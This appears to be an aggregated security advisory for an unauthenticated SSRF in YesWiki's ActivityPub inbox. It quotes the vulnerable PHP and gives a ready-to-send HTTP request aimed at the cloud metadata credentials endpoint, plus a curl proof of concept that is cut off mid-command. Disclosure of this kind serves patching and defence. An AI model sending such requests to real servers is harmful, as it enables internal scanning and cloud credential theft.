🛡️ CVE-2026-52769 — yeswiki
Description
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub Signature.keyId
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 —@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
```php
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}
```
The inbox controller calls verifySignature() before running any cryptography:
```php
// tools/bazar/controllers/ApiController.php (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}
```
The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
```http
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}
```
- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>').- YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain
publicKey.publicKeyPemthe controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
```bash
BASE="http://localhost:8085"
CTR="yeswiki-poc"
```
Before we start, make sure ActivityPub is enabled on the target form
```bash
podman exec "$CTR" mysql -uroot yeswiki -e \
"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
FROM yeswiki_nature WHERE bn_id_nature = 1;"
```
Send the unauthenticated SSRF trigger:
```bash
TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
-H "Content-Type: appl
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability low.
Weakness class
CVE-2026-52769 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.
Affected software
CVE-2026-52769 is recorded against 1 package.
- yeswiki/yeswiki (from 4.6.2 up to 4.6.6)
Timeline and source
Published on 9 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| yeswiki/yeswiki | 4.6.2 | 4.6.6 |
References
Similar Threats
- High CVE-2026-52762
- Unknown CVE-2026-52763
- Critical CVE-2026-52766
- Critical CVE-2026-46670
- High CVE-2026-41143
Site Security Check
Is yeswiki part of your stack?
CVE-2026-52769 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.